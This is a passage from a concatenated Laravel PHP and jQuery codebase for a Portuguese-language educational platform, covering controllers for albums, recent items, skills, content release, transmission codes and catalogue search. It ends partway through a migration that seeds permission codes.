Kernel extends ConsoleKernel { /** * The Artisan commands provided by your application. * * @var array */ protected $commands = [ // ]; /** * Define the application's command schedule. * * @param \Illuminate\Console\Scheduling\Schedule $schedule * @return void */ protected function schedule(Schedule $schedule) { // $schedule->command('inspire') // ->hourly(); // $schedule->call(function () { // \Mail::send([], [], function($message) { // $message // ->from('<EMAIL>', '<NAME>') // ->to('<EMAIL>') // ->subject('Automatic Testing mails - ' . date("H:i d/m/Y")) // // ->setBody('<h1>Hi, welcome user!</h1>', 'text/html'); // for HTML rich messages // ->setBody('Apenas um e-mail de teste que deve ser enviado de tempos em tempos automáticamente!'); // assuming text/plain // }); // }) // // ->everyMinute(); // ->everyFiveMinutes(); // // ->withoutOverlapping(); //So funciona se tiver name na schedule // $schedule->command('email.example:cron')->everyFiveMinutes(); } /** * Register the commands for the application. * * @return void */ protected function commands() { $this->load(__DIR__.'/Commands'); require base_path('routes/console.php'); } } <file_sep>/app/Entities/Questoes/Repository.php <?php namespace App\Entities\Questoes; class Repository { private $questoes; public function __construct(Questoes $questoes) { $this->questoes = $questoes; } public function all() { return $this->questoes->orderBy('id', 'DESC')->get(); } public function store($values) { return $this->questoes->create($values); } public function update($id, $values) { return $this->questoes->find($id)->update($values); } public function delete($id) { return $this->questoes->find($id)->delete(); } public function select() { return $this->questoes->select('titulo', 'id')->get(); } public function find($id) { return $this->questoes->find($id); } } <file_sep>/resources/js/pages/roteiros/admin/indexRoteiros.js var countCreateTopico = 0; $('.bt-adicionar-topico').on('click', function() { if($(this).closest('form').find('.checkbox-topico').length) { countCreateTopico = $(this).closest('form').find('.checkbox-topico').length ; } var myHTML = ''; var myHTML = myHTML + '<div class="container-input">'; var myHTML = myHTML + ' <input class="form-check-input checkbox-topico" type="checkbox" name="topico['+countCreateTopico+'][status]" value="0" checked>'; var myHTML = myHTML + ' <input type="text" class="form-control input-topico" name="topico['+countCreateTopico+'][titulo]" placeholder="Tópico" required="">'; var myHTML = myHTML + ' <button type="button" class="bt-excluir-topico btn btn-light bg-white box-shadow text-declined"><i class="fas fa-trash"></i></button>'; var myHTML = myHTML + '</div>'; $(this).closest('form').find('.container-input-topico').append(myHTML); var heightTopicos = $(this).closest('form').find('.col-topicos')[0].scrollHeight; $('.col-topicos').animate({ scrollTop: heightTopicos }, 500); countCreateTopico = (countCreateTopico+1); }); $('.col-topicos').on('click', '.checkbox-topico', function() { if($(this).val() == 1) { $(this).val(0); } else { $(this).val(1); } }); $('.col-topicos').on('click', '.bt-excluir-topico', function() { $(this).parent().remove(); }); $('.lb-percent').each(function() { $(this).next().children().css('width', $(this).text()); }); window.ajaxUpdateStatusTopico = function(id) { var obj = $('#topico_'+id); if(obj.val() == 1) { obj.val(0); var tempCheckboxValue = 0; } else { obj.val(1); var tempCheckboxValue = 1; } $.ajax({ headers: { 'X-CSRF-TOKEN': $('input[name="_token"]').val() }, type: "POST", dataType: 'text', data: { 'id': id, 'status': obj.val() }, url: "roteiros/updateStatusTopico", success: function(response) { var roteiroID = obj.data('roteiro-id'); var cardRoteiro = $('#cardRoteiro_' + roteiroID); var editModal = $('#divModalEditRoteiro_' + roteiroID); var viewModal = $('#divModalViewRoteiro_' + roteiroID); var topicosAtivos = viewModal.find('input:checkbox:checked').length; var totalTopicos = viewModal.find('input:checkbox').length; var topicosInativos = viewModal.find('input:checkbox:not(":checked")').length; console.log('topicosAtivos: ' + topicosAtivos); console.log('totalTopicos: ' + totalTopicos); console.log('topicosInativos: ' + topicosInativos); if(topicosInativos == totalTopicos) { topicosInativos = 0; } if(topicosAtivos == 0) { //0% viewModal.find('.fill-percent-bg').css('width', '0%'); var resultPorcentagemTopicos = '0'; } if( (topicosAtivos > 0 && topicosInativos > 0) && (topicosAtivos == topicosInativos) ) { //50% viewModal.find('.fill-percent-bg').css('width', '50%'); var resultPorcentagemTopicos = '50'; } if(topicosAtivos > 0 && topicosInativos == 0) { //100% viewModal.find('.fill-percent-bg').css('width', '100%'); var resultPorcentagemTopicos = '100'; } if(topicosAtivos > 0 && topicosInativos > 0) { if(topicosAtivos !== topicosInativos) { var ta = topicosAtivos; var ti = topicosInativos; var totalTopicos = ta + ti; var vp = (ta * 100) / totalTopicos; var resultPorcentagemTopicos = Math.ceil(vp); } } viewModal.find('.fill-percent-bg').css('width', resultPorcentagemTopicos + '%'); viewModal.find('.lb-percent').text(resultPorcentagemTopicos + '%'); cardRoteiro.find('.fill-percent-bg').css('width', resultPorcentagemTopicos + '%'); cardRoteiro.find('.lb-percent').text(resultPorcentagemTopicos + '%'); editModal.find('#topico_edit_'+id).val(tempCheckboxValue); } }); } window.excluirRoteiro = function(id) { if ($("#formExcluirRoteiro" + id).length == 0) return; swal({ title: 'Excluir roteiro?', text: "Você deseja mesmo excluir este roteiro? Todo seu conteúdo será apagado!", icon: "warning", buttons: ['Não', 'Sim, excluir!'], dangerMode: true, }).then((result) => { if (result == true) { $("#formExcluirRoteiro" + id).submit(); } }); } <file_sep>/app/Http/Controllers/PlanoAulas/Alunos/PlanoAulasController.php <?php namespace App\Http\Controllers\PlanoAulas\Alunos; use App\Entities\PlanoAula\PlanoAula; use Illuminate\Http\Request; use App\Http\Controllers\Controller; class PlanoAulasController extends Controller { public function index($idPlano) { $plano = PlanoAula::find($idPlano); return view('pages.plano-aulas.alunos.index', compact('plano')); } } <file_sep>/app/Http/Controllers/Recentes/Api/RecentesApiController.php <?php namespace App\Http\Controllers\Recentes\Api; use App\Entities\Recente\Recente; use App\User; use Carbon\Carbon; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; class RecentesApiController extends Controller { public function listar() { try { $recentes = Recente::where('user_id', Auth::user()->id) ->with(['albums' => function ($query) { $query->select('albums.id', 'albums.titulo', 'albums.capa as url', 'albums.descricao', 'albums.categoria', 'albums.user_id as artist', 'albums.user_id'); }]) ->whereHas('albums') ->orderBy('id', 'DESC') ->limit(5) ->get(); return response()->json($recentes); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao listar.", "message:" => $exception->getMessage()]); } } public function store(Request $request) { try { $exists = Recente::where([['user_id', Auth::user()->id], ['album_id', $request->get('album_id')]])->exists(); if ($exists) { Recente::find($exists->id)->update(['created_at' => Carbon::now()]); return response()->json(true); } if (Recente::where('user_id', Auth::user()->id)->get()->count() >= 5) { $check = Recente::where('user_id', Auth::user()->id)->latest()->first(); $check->delete(); Recente::create(['user_id' => Auth::user()->id, 'album_id' => $request->get('album_id')]); return response()->json(true); } Recente::create(['user_id' => Auth::user()->id, 'album_id' => $request->get('album_id')]); return response()->json(true); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao gravar.", "message:" => $exception->getMessage()]); } } } <file_sep>/app/Http/Controllers/Album/Admin/AlbumController.php <?php namespace App\Http\Controllers\Album\Admin; use Illuminate\Support\Facades\Input; use App\Categoria; use App\Entities\Album\Album; use App\Entities\Audio\Audio; use App\Generals\Upload\Upload; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Storage; class AlbumController extends Controller { private $resize; public function __construct(Upload $resize) { $this->resize = $resize; } public function index() { $albuns = Album::query(); $tem_pesquisa = Input::has('pesquisa') ? (Input::get('pesquisa') != null && Input::get('pesquisa') != "") : false; $albuns->when($tem_pesquisa, function ($query) { return $query ->where('titulo', 'like', '%' . Input::get('pesquisa') . '%') ->orWhere('descricao', 'like', '%' . Input::get('pesquisa') . '%'); }); $is_admin = strtoupper(Auth::user()->permissao) == "Z"; $albuns->when($is_admin == false, function ($query) { return $query->where('user_id', '=', Auth::user()->id); }); $albuns = $albuns ->orderBy('id', 'DESC') ->get(); $categorias = Categoria::where('tipo', 5)->select('id', 'titulo')->get(); (Auth::user()->permissao == 'Z' ? $audios = Audio::orderBy('id', 'DESC')->get() : $audios = Audio::where('user_id', Auth::user()->id)->orderBy('id', 'DESC')->get()); return view('pages.albums.admin.index', compact('albuns', 'audios', 'categorias')); } public function create() { $categorias = Categoria::where('tipo', 5)->select('id', 'titulo')->get(); (Auth::user()->permissao == 'Z' ? $audios = Audio::orderBy('id', 'DESC')->get() : $audios = Audio::where('user_id', Auth::user()->id)->orderBy('id', 'DESC')->get()); return view('pages.albums.admin.create', compact('categorias', 'audios')); } public function store(Request $request) { $this->validate($request, ['titulo' => 'required', 'categoria']); $album = Album::create([ 'user_id' => Auth::user()->id, 'titulo' => $request->get('titulo'), 'categoria' => $request->get('categoria'), 'descricao' => $request->get('descricao') ]); if ($request->get('audio_id')) { $album->audios()->attach($request->get('audio_id')); } if ($request->capa != null) { $fileExtension = \File::extension($request->capa->getClientOriginalName()); $newFileNameCapa = md5($request->capa->getClientOriginalName() . date("Y-m-d H:i:s") . time()) . '.' . $fileExtension; $pathCapa = $request->capa->storeAs('albuns/capas', $newFileNameCapa, 'public_uploads'); $this->resize->makeSimpleResize($request->capa, 100, 'albuns/capas/app', $newFileNameCapa); if ( !Storage::disk('public_uploads')->put($pathCapa, file_get_contents($request->capa)) || !$this->resize->makeSimpleResize($request->capa, 100, 'albuns/capas/app', $newFileNameCapa)) { \Session::flash('middle_popup', 'Ops! Não foi possivel enviar a capa.'); \Session::flash('popup_style', 'danger'); } else { $album->capa = $newFileNameCapa; $album->save(); } } return redirect()->back()->with('message', 'Álbum cadastrado com sucesso!'); } public function edit($idAlbum) { $categorias = Categoria::where('tipo', 5)->select('id', 'titulo')->get(); (Auth::user()->permissao == 'Z' ? $audios = Audio::orderBy('id', 'DESC')->get() : $audios = Audio::where('user_id', Auth::user()->id)->orderBy('id', 'DESC')->get()); $album = Album::find($idAlbum); return view('pages.albums.admin.edit', compact('categorias', 'audios', 'album')); } public function update(Request $request, $idAlbum) { $this->validate($request, ['titulo' => 'required', 'categoria']); $capa = $request->get('capa_atual'); if ($request->file('capa')) { if (Storage::disk('public_uploads')->has('albuns/capas/' . $capa)) { Storage::disk('public_uploads')->delete('albuns/capas/' . $capa); Storage::disk('public_uploads')->delete('albuns/capas/app/' . $capa); } $fileExtension = \File::extension($request->capa->getClientOriginalName()); $newFileNameCapa = md5($request->capa->getClientOriginalName() . date("Y-m-d H:i:s") . time()) . '.' . $fileExtension; $pathCapa = $request->capa->storeAs('albuns/capas', $newFileNameCapa, 'public_uploads'); if (!Storage::disk('public_uploads')->put($pathCapa, file_get_contents($request->capa)) || !$this->resize->makeSimpleResize($request->capa, 100, 'albuns/capas/app', $newFileNameCapa)) { \Session::flash('middle_popup', 'Ops! Não foi possivel enviar a capa.'); \Session::flash('popup_style', 'danger'); } else { $capa = $newFileNameCapa; Storage::disk('public_uploads')->delete('albuns/capas/' . $request->get('capa_atual')); Storage::disk('public_uploads')->delete('albuns/capas/app/' . $request->get('capa_atual')); } } $album = Album::find($idAlbum); $album->update([ 'titulo' => $request->get('titulo'), 'capa' => $capa, 'descricao' => $request->get('descricao'), 'categoria' => $request->get('categoria') ]); if (!$request->get('audio_id')) { $album->audios()->detach(); } $album->audios()->sync($request->get('audio_id')); return redirect()->route('gestao.albuns.listar')->with('message', 'Álbum atualizado com sucesso!'); } public function destroy($idAlbum) { $album = Album::find($idAlbum); if (!$album) { return redirect()->back()->withErrors(['Álbum não encontrado!']); } if (Storage::disk('public_uploads')->has('albuns/capas/' . $album->capa)) { Storage::disk('public_uploads')->delete('albuns/capas/' . $album->capa); Storage::disk('public_uploads')->delete('albuns/capas/app/' . $album->capa); } if ($album->audios->toArray()) { $album->audios()->detach(); } $album->delete(); return redirect()->route('gestao.albuns.listar')->with('message', 'Álbum excluida com sucesso!'); } } <file_sep>/app/Http/Controllers/Habilidades/Alunos/HabilidadesController.php <?php namespace App\Http\Controllers\Habilidades\Alunos; use App\Entities\Habilidade\Habilidade; use App\Entities\HabilidadeUsuario\HabilidadeUsuario; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; class HabilidadesController extends Controller { public function index() { $categorias = Habilidade::select('categoria')->distinct('categoria')->get();//->unique(); // dd($categorias); $habilidades = Habilidade::orderBy('id', 'asc')->get(); $habilidadesUsuario = HabilidadeUsuario:: with('habilidade') ->where('user_id', Auth::user()->id) ->get(); // dd($habilidades); foreach ($categorias as $key => $categoria) { $categoria->total_pontos = HabilidadeUsuario::with('habilidade')->where([['user_id', Auth::user()->id]]) ->whereHas('habilidade', function ($query) use ($categoria) { $query->where([['categoria', '=', $categoria->categoria]]); }) ->sum('pontos'); $categoria->total_habilidades = Habilidade::where([['categoria', '=', $categoria->categoria]])->count(); } foreach ($habilidades as $key => $habilidade) { $habilidade->pontos = HabilidadeUsuario::where([['user_id', Auth::user()->id], ['habilidade_id', '=', $habilidade->id]]) ->sum('pontos'); } return view('pages.habilidades.alunos.index', compact('categorias', 'habilidades')); } public function estatisticas() { return view('pages.habilidades.alunos.estatisticas'); } } <file_sep>/app/Http/Controllers/LiberacaoController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use Auth; use Redirect; use Session; use Carbon\Carbon; use App\User; use App\Aplicacao; use App\LiberacaoAplicacaoUser; use App\LiberacaoAplicacaoEscola; use App\AlunoTurma; use App\Turma; class LiberacaoController extends Controller { public function postLiberarAplicacaoEscola(Request $request) { if($request->tipo_liberacao == 2) { $request->validate([ 'escola_id' => 'required|exists:escolas,id', ]); foreach (Aplicacao::where('colecao_id', '=', $request->colecao_id)->get() as $key => $aplicacao) { if(LiberacaoAplicacaoEscola::where([['escola_id', '=', $request->escola_id], ['aplicacao_id', '=', $aplicacao->id]])->exists() == false) { LiberacaoAplicacaoEscola::create([ 'aplicacao_id' => $aplicacao->id, 'escola_id' => $request->escola_id, ]); } } Session::flash("message", 'Coleção liberada com sucesso!'); } else { $request->validate([ 'aplicacao_id' => 'required|exists:aplicacoes,id', 'escola_id' => 'required|exists:escolas,id', ]); if(LiberacaoAplicacaoEscola::where([['escola_id', '=', $request->escola_id], ['aplicacao_id', '=', $request->aplicacao_id]])->exists() == false) { LiberacaoAplicacaoEscola::create([ 'aplicacao_id' => $request->aplicacao_id, 'escola_id' => $request->escola_id, ]); } Session::flash("message", 'Aplicação liberada com sucesso!'); } return redirect()->back(); } // public function postExcluirLiberarAplicacaoEscola($idAplicacao, $idEscola) // { // if(LiberacaoAplicacaoEscola::where([['aplicacao_id', $idAplicacao], ['escola_id', $idEscola]])->exists()) // { // LiberacaoAplicacaoEscola::where([['aplicacao_id', $idAplicacao], ['escola_id', $idEscola]])->delete(); // return response()->json(["success" => "Liberação excluída com sucesso!"]); // } // else // { // return response()->json(["error" => "Liberação não encontrada!"]); // } // } public function postExcluirLiberarAplicacaoEscola($idLiberacao) { if(LiberacaoAplicacaoEscola::find($idLiberacao) != null) { LiberacaoAplicacaoEscola::find($idLiberacao)->delete(); return response()->json(["success" => "Liberação excluída com sucesso!"]); } else { return response()->json(["error" => "Liberação não encontrada!"]); } } public function postLiberacaoAplicacaoUser($idTurma, Request $request) { if(Turma::find($idTurma) != null) { if(Aplicacao::find($request->idAplicacao) != null) { $alunos = json_decode($request->alunos); if($alunos == null) { // return redirect()->back()->withErrors("Você deve selecionar ao menos um aluno!"); $alunos = []; } // if(count($alunos) == 0) // { // return redirect()->back()->withErrors("Você deve selecionar ao menos um aluno!"); // } if($request->quais == "nenhum") { LiberacaoAplicacaoUser::where([['aplicacao_id', '=', $request->idAplicacao]])->whereNotIn('user_id', $alunos)->delete(); foreach($alunos as $aluno) { if(!LiberacaoAplicacaoUser::where([['aplicacao_id', '=', $request->idAplicacao], ['user_id', '=', $aluno]])->exists()) { LiberacaoAplicacaoUser::create([ 'aplicacao_id' => $request->idAplicacao, 'user_id' => $aluno ]); } } } else { LiberacaoAplicacaoUser::where([['aplicacao_id', '=', $request->idAplicacao]])->whereIn('user_id', $alunos)->delete(); foreach(AlunoTurma::where([['turma_id', '=', $idTurma]])->whereNotIn('user_id', $alunos)->get() as $aluno) { if(!LiberacaoAplicacaoUser::where([['aplicacao_id', '=', $request->idAplicacao], ['user_id', '=', $aluno->user_id]])->exists()) { LiberacaoAplicacaoUser::create([ 'aplicacao_id' => $request->idAplicacao, 'user_id' => $aluno->user_id ]); } } } Session::flash("message", 'Aplicação liberada com sucesso para ' . count($alunos) . ' aluno' . (count($alunos) != 1 ? 's' : '' ) . '!'); return redirect()->back(); } else { return redirect()->back()->withErrors("Aplicação não encontrada!"); } } else { return redirect()->back()->withErrors("Turma não encontrada!"); } } } <file_sep>/app/Http/Controllers/CodigoTransmissaoController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Auth; use Redirect; use Session; use Carbon\Carbon; use App\User; use App\Conteudo; use App\Aplicacao; use App\CodigoTransmissao; use App\Turma; class CodigoTransmissaoController extends Controller { public function index(Request $request) { $transmissao = CodigoTransmissao::where([['id', '=', $request->codigo], ['status', '=', 1]])->orWhere([['token', '=', $request->codigo], ['status', '=', 1]])->first(); if($transmissao == null) { return Redirect::back()->withErrors(['Transmissão não encontrada!']); } else { // Aplicacao if($transmissao->tipo == 1) { if(Aplicacao::find($transmissao->referencia_id) != null) { return redirect()->route('aplicacao', ['idAplicacao' => $transmissao->referencia_id]); } else { return Redirect::back()->withErrors(['Aplicação não encontrada!']); } } // Conteudo else if($transmissao->tipo == 2) { if(Conteudo::find($transmissao->referencia_id) != null) { return redirect()->route('conteudo.play', ['idConteudo' => $transmissao->referencia_id]); } else { return Redirect::back()->withErrors(['Conteúdo não encontrado!']); } } else { return Redirect::back()->withErrors(['Transmissão não encontrada!']); } } return Redirect::back()->withErrors(['Transmissão não encontrada!']); } public function token($token) { $transmissao = CodigoTransmissao::where([['id', '=', $token], ['status', '=', 1]])->orWhere([['token', '=', $token], ['status', '=', 1]])->first(); if($transmissao == null) { return Redirect::back()->withErrors(['Transmissão não encontrada!']); } else { // Aplicacao if($transmissao->tipo == 1) { if(Aplicacao::find($transmissao->referencia_id) != null) { return redirect()->route('aplicacao', ['idAplicacao' => $transmissao->referencia_id]); } else { return Redirect::back()->withErrors(['Aplicação não encontrada!']); } } // Conteudo else if($transmissao->tipo == 2) { if(Conteudo::find($transmissao->referencia_id) != null) { return redirect()->route('conteudo.play', ['idConteudo' => $transmissao->referencia_id]); } else { return Redirect::back()->withErrors(['Conteúdo não encontrado!']); } } else { return Redirect::back()->withErrors(['Transmissão não encontrada!']); } } return Redirect::back()->withErrors(['Transmissão não encontrada!']); } public function postNovoCodigoTransmissao($idTurma, Request $request) { if(Turma::find($idTurma) != null) { if($request->tipo == 1) { if(Aplicacao::find($request->idAplicacao) != null) { CodigoTransmissao::create([ 'user_id' => Auth::user()->id, 'token' => $request->codigo, 'referencia_id' => $request->idAplicacao, 'tipo' => $request->tipo, ]); Session::flash("message", 'Código de transmissão criado com sucesso! Agora é só usar o código: ' . $request->codigo . ' para acessar sua aplicação.'); return redirect()->back(); } else { return redirect()->back()->withErrors("Aplicação não encontrada!"); } } else { if(Conteudo::find($request->idConteudo) != null) { CodigoTransmissao::create([ 'user_id' => Auth::user()->id, 'token' => $request->codigo, 'referencia_id' => $request->idConteudo, 'tipo' => $request->tipo, ]); Session::flash("message", 'Código de transmissão criado com sucesso! Agora é só usar o código: ' . $request->codigo . ' para acessar seu conteúdo.'); return redirect()->back(); } else { return redirect()->back()->withErrors("Conteúdo não encontrado!"); } } } else { return redirect()->back()->withErrors("Turma não encontrada!"); } } public function postExcluirCodigoTransmissao($idTransmissao) { if(CodigoTransmissao::find($idTransmissao) != null) { CodigoTransmissao::find($idTransmissao)->delete(); return response()->json(["success" => "Transmissão encerrada com sucesso!"]); } else { return response()->json(["error" => "Transmissão não encontrada!"]); } } public function getTokenRandomico() { $step = 0; do { if($step < 10) { $token = \HelperClass::RandomString(4); } else if($step < 20) { $token = \HelperClass::RandomString(6); } else if($step < 30) { $token = \HelperClass::RandomString(10); } else if($step < 40) { $token = \HelperClass::RandomString(12); } else { $token = \HelperClass::RandomString(15); } $step ++; } while(CodigoTransmissao::where('token', '=', $token)->exists() && $step < 50); if($step >= 50) { return response()->json(['error' => 'Não foi possível gerar um token aleatório, por favor tente novamente.', 'step' => $step]); } else { return response()->json(['success' => 'Token aleatório gerado com sucesso!', 'step' => $step, 'token' => $token]); } } } <file_sep>/app/Http/Controllers/CatalogoController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use Auth; use Redirect; use Session; use Carbon\Carbon; use App\Escola; use App\Categoria; use App\Curso; use App\Aplicacao; use App\Conteudo; use App\AvaliacaoInstrutor; use App\Matricula; use App\Metrica; class CatalogoController extends Controller { public function index() { if(Input::get('qt') == null) $amount = 10; else $amount = Input::get('qt'); if(Input::get('ordem') == null) $ordem = "recentes"; else $ordem = Input::get('ordem'); if(Input::get('categoria') == null) $categoria = ""; elseif(Input::get('categoria') == "geral") $categoria = ""; else $categoria = Input::get('categoria'); if($categoria != null) { if(Categoria::where('titulo', '=', $categoria)->first() != null) { $categoria = Categoria::where('titulo', '=', $categoria)->first()->id; } } if(Input::get('pesquisa') == null || Input::get('pesquisa') == "") { $pesquisa = null; if($categoria != null) { $cursos = Curso::take($amount)->where([['status', '=', '1'], ['categoria', '=', $categoria]]); $aplicacoes = Aplicacao::take($amount)->where([['status', '=', '1'], ['categoria', '=', $categoria]]); } else { $cursos = Curso::take($amount)->where([['status', '=', '1']]); $aplicacoes = Aplicacao::take($amount)->where([['status', '=', '1']]); } } else { $cursos = Curso::take($amount)->where([['status', '=', '1'], ['titulo', 'like', '%' . Input::get('pesquisa') . '%']]) ->orWhere([['status', '=', '1'], ['descricao', 'like', '%' . Input::get('pesquisa') . '%']]); $aplicacoes = Aplicacao::take($amount)->where([['status', '=', '1'], ['titulo', 'like', '%' . Input::get('pesquisa') . '%']]) ->orWhere([['status', '=', '1'], ['descricao', 'like', '%' . Input::get('pesquisa') . '%']]); } // $aplicacoes = $aplicacoes->orderBy('data_publicacao', 'desc'); if($ordem == 'recentes') { $cursos = $cursos->orderBy('created_at', 'desc'); $aplicacoes = $aplicacoes->orderBy('created_at', 'desc'); $ordem = "Mais recentes"; } elseif($ordem == 'antigos') { $cursos = $cursos->orderBy('created_at', 'asc'); $aplicacoes = $aplicacoes->orderBy('created_at', 'asc'); $ordem = "Mais antigos"; } elseif($ordem == 'alfabetica') { $cursos = $cursos->orderBy('titulo', 'asc'); $aplicacoes = $aplicacoes->orderBy('titulo', 'asc'); $ordem = "Ordem Alfabética"; } $cursos = $cursos->get(); $aplicacoes = $aplicacoes->get(); $categorias = Categoria::take(8)->get(); $destaques = $aplicacoes->take(3); return view('catalogo')->with( compact('cursos', 'aplicacoes', 'pesquisa', 'amount', 'ordem', 'categorias', 'destaques') ); } } <file_sep>/database/migrations/2019_10_02_095038_create_funcionalidades_table.php <?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; use App\Funcionalidade; class CreateFuncionalidadesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('funcionalidades', function (Blueprint $table) { $table->increments('id'); $table->string('descricao'); $table->string('codigo'); $table->timestamps(); }); $funcionalidades = [ // MENU DE GESTÃO (MANAGER) ['descricao' => 'Gestão de aplicações', 'codigo' => 'manager.aplicacoes.consultar'], ['descricao' => 'Gestão de aplicações', 'codigo' => 'manager.aplicacoes.gravar'], // MENU/SUBMENU ['descricao' => 'Cards Creator', 'codigo' => 'manager.cards'], ['descricao' => 'Gestão de baralhos', 'codigo' => 'manager.cards.baralhos.consultar'], ['descricao' => 'Gestão de baralhos', 'codigo' => 'manager.cards.baralhos.gravar'], ['descricao' => 'Gestão de carreiras', 'codigo' => 'manager.cards.carreiras.consultar'], ['descricao' => 'Gestão de carreiras', 'codigo' => 'manager.cards.carreiras.gravar'], // MENU/SUBMENU (FIM) ['descricao' => 'Gestão de cursos', 'codigo' => 'manager.cursos.consultar'], ['descricao' => 'Gestão de cursos', 'codigo' => 'manager.cursos.gravar'], ['descricao' => 'Gestão de trilhas', 'codigo' => 'manager.trilhas.consultar'], ['descricao' => 'Gestão de trilhas', 'codigo' => 'manager.trilhas.gravar'], // MENU/SUBMENU ['descricao' => 'Cast Creator', 'codigo' => 'manager.cast'], ['descricao' => 'Gestão de áudios', 'codigo' => 'manager.cast.audios.consultar'], ['descricao' => 'Gestão de áudios', 'codigo' => 'manager.cast.audios.gravar'], ['descricao' => 'Gestão de álbuns', 'codigo' => 'manager.cast.albuns.consultar'], ['descricao' => 'Gestão de álbuns', 'codigo' => 'manager.cast.albuns.gravar'], ['descricao' => 'Gestão de playlists', 'codigo' => 'manager.cast.playlists.consultar'], ['descricao' => 'Gestão de playlists', 'codigo' => 'manager.cast.playlists.gravar'], ['descricao' => 'Gestão de roteiros', 'codigo' => 'manager.cast.roteiros.consultar'], ['descricao' => 'Gestão de roteiros', 'codigo' => 'manager.cast.roteiros.gravar'], // MENU/SUBMENU (FIM) ['descricao' => 'Gestão de conteúdo', 'codigo' => 'manager.biblioteca.consultar'], ['descricao' => 'Gestão de conteúdo', 'codigo' => 'manager.biblioteca.gravar'], // MENU/SUBMENU ['descricao' => 'Portal do professor', 'codigo' => 'manager.professores'], ['descricao' => 'Gestão de artigos', 'codigo' => 'manager.professores.artigos.consultar'], ['descricao' => 'Gestão de artigos', 'codigo' => 'manager.professores.artigos.gravar'], ['descricao' => 'Cursos para professores', 'codigo' => 'manager.professores.cursos.consultar'], ['descricao' => 'Cursos para professores', 'codigo' => 'manager.professores.cursos.gravar'], ['descricao' => 'Ranking professor', 'codigo' => 'manager.professores.ranking.consultar'], ['descricao' => 'Ranking professor', 'codigo' => 'manager.professores.ranking.gravar'], ['descricao' => 'Gestão do Banco de Imagens', 'codigo' => 'manager.professores.imagens.consultar'], ['descricao' => 'Gestão do Banco de Imagens', 'codigo' => 'manager.professores.imagens.gravar'], // MENU/SUBMENU (FIM) ['descricao' => 'Glossário', 'codigo' => 'manager.glossario.consultar'], ['descricao' => 'Glossário', 'codigo' => 'manager.glossario.gravar'], // MENU/SUBMENU ['descricao' => 'Portal de gamificação', 'codigo' => 'manager.gamificacao'], ['descricao' => 'Gestão de medalhas', 'codigo' => 'manager.gamificacao.medalhas.consultar'], ['descricao' => 'Gestão de medalhas', 'codigo' => 'manager.gamificacao.medalhas.gravar'], ['descricao' => 'Gestão de habilidades', 'codigo' => 'manager.gamificacao.habilidades.consultar'], ['descricao' => 'Gestão de habilidades', 'codigo' => 'manager.gamificacao.habilidades.gravar'], ['descricao' => 'Gestão de configurações', 'codigo' => 'manager.gamificacao.configuracoes.consultar'], ['descricao' => 'Gestão de configurações', 'codigo' => 'manager.gamificacao.configuracoes.gravar'], // MENU/SUBMENU (FIM) ['descricao' => 'Gestão dos testes de nivelamento', 'codigo' => 'manager.nivelamento.consultar'], ['descricao' => 'Gestão dos testes de nivelamento', 'codigo' => 'manager.nivelamento.gravar'], ['descricao' => 'Gestão do plano de aulas', 'codigo' => 'manager.plano.consultar'], ['descricao' => 'Gestão do plano de aulas', 'codigo' => 'manager.plano.gravar'], ['descricao' => 'Gestão de turmas', 'codigo' => 'manager.turmas.consultar'], ['descricao' => 'Gestão de turmas', 'codigo' => 'manager.turmas.gravar'], ['descricao' => 'Mural da escola', 'codigo' => 'manager.mural.escola.consultar'], ['descricao' => 'Mural da escola', 'codigo' => 'manager.mural.escola.gravar'], ['descricao' => 'Mural da gestão da escola', 'codigo' => 'manager.mural.manager.consultar'], ['descricao' => 'Mural da gestão da escola', 'codigo' => 'manager.mural.manager.gravar'], ['descricao' => 'Relatórios', 'codigo' => 'manager.relatorios.consultar'], ['descricao' => 'Relatórios', 'codigo' => 'manager.relatorios.gravar'], ['descricao' => 'Gestão de escolas', 'codigo' => 'manager.escolas.consultar'], ['descricao' => 'Gestão de escolas', 'codigo' => 'manager.escolas.gravar'], ['descricao' => 'Gestão de usuários', 'codigo' => 'manager.usuarios.consultar'], ['descricao' => 'Gestão de usuários', 'codigo' => 'manager.usuarios.gravar'], ['descricao' => 'Gestão de categorias', 'codigo' => 'manager.categorias.consultar'], ['descricao' => 'Gestão de categorias', 'codigo' => 'manager.categorias.gravar'], ['descricao' => 'Gestão financeira', 'codigo' => 'manager.financeiro.consultar'], ['descricao' => 'Gestão financeira', 'codigo' => 'manager.financeiro.gravar'], ['descricao' => 'Ajuda / FAQ', 'codigo' => 'manager.faq.consultar'], ['descricao' => 'Ajuda / FAQ', 'codigo' => 'manager.faq.gravar'], ['descricao' => 'Funcionalidades', 'codigo' => 'manager.funcionalidade.consultar'], ['descricao' => 'Funcionalidades', 'codigo' => 'manager.funcionalidade.gravar'], ['descricao' => 'Plataforma', 'codigo' => 'manager.plataforma.consultar'], ['descricao' => 'Plataforma', 'codigo' => 'manager.plataforma.gravar'], ['descricao' => 'Documentação API', 'codigo' => 'manager.documentacao.consultar'], ['descricao' => 'Documentação API', 'codigo' => 'manager.documentacao.gravar'], // FIM MENU GESTÃO // MENU DE PROFESSOR (MASTER) ['descricao' => 'Gestão de cursos', 'codigo' => 'master.cursos.consultar'], ['descricao' => 'Gestão de cursos', 'codigo' => 'master.cursos.gravar'], ['descricao' => 'Gestão de trilhas', 'codigo' => 'master.trilhas.consultar'], ['descricao' => 'Gestão de trilhas', 'codigo' => 'master.trilhas.gravar'], // MENU/SUBMENU ['descricao' => 'Cards Creator', 'codigo' => 'master.cards'], ['descricao' => 'Gestão de baralhos', 'codigo' => 'master.cards.baralhos.consultar'], ['descricao' => 'Gestão de baralhos', 'codigo' => 'master.cards.baralhos.gravar'], ['descricao' => 'Gestão de carreiras', 'codigo' => 'master.cards.carreiras.consultar'], ['descricao' => 'Gestão de carreiras', 'codigo' => 'master.cards.carreiras.gravar'], // MENU/SUBMENU (FIM) // MENU/SUBMENU 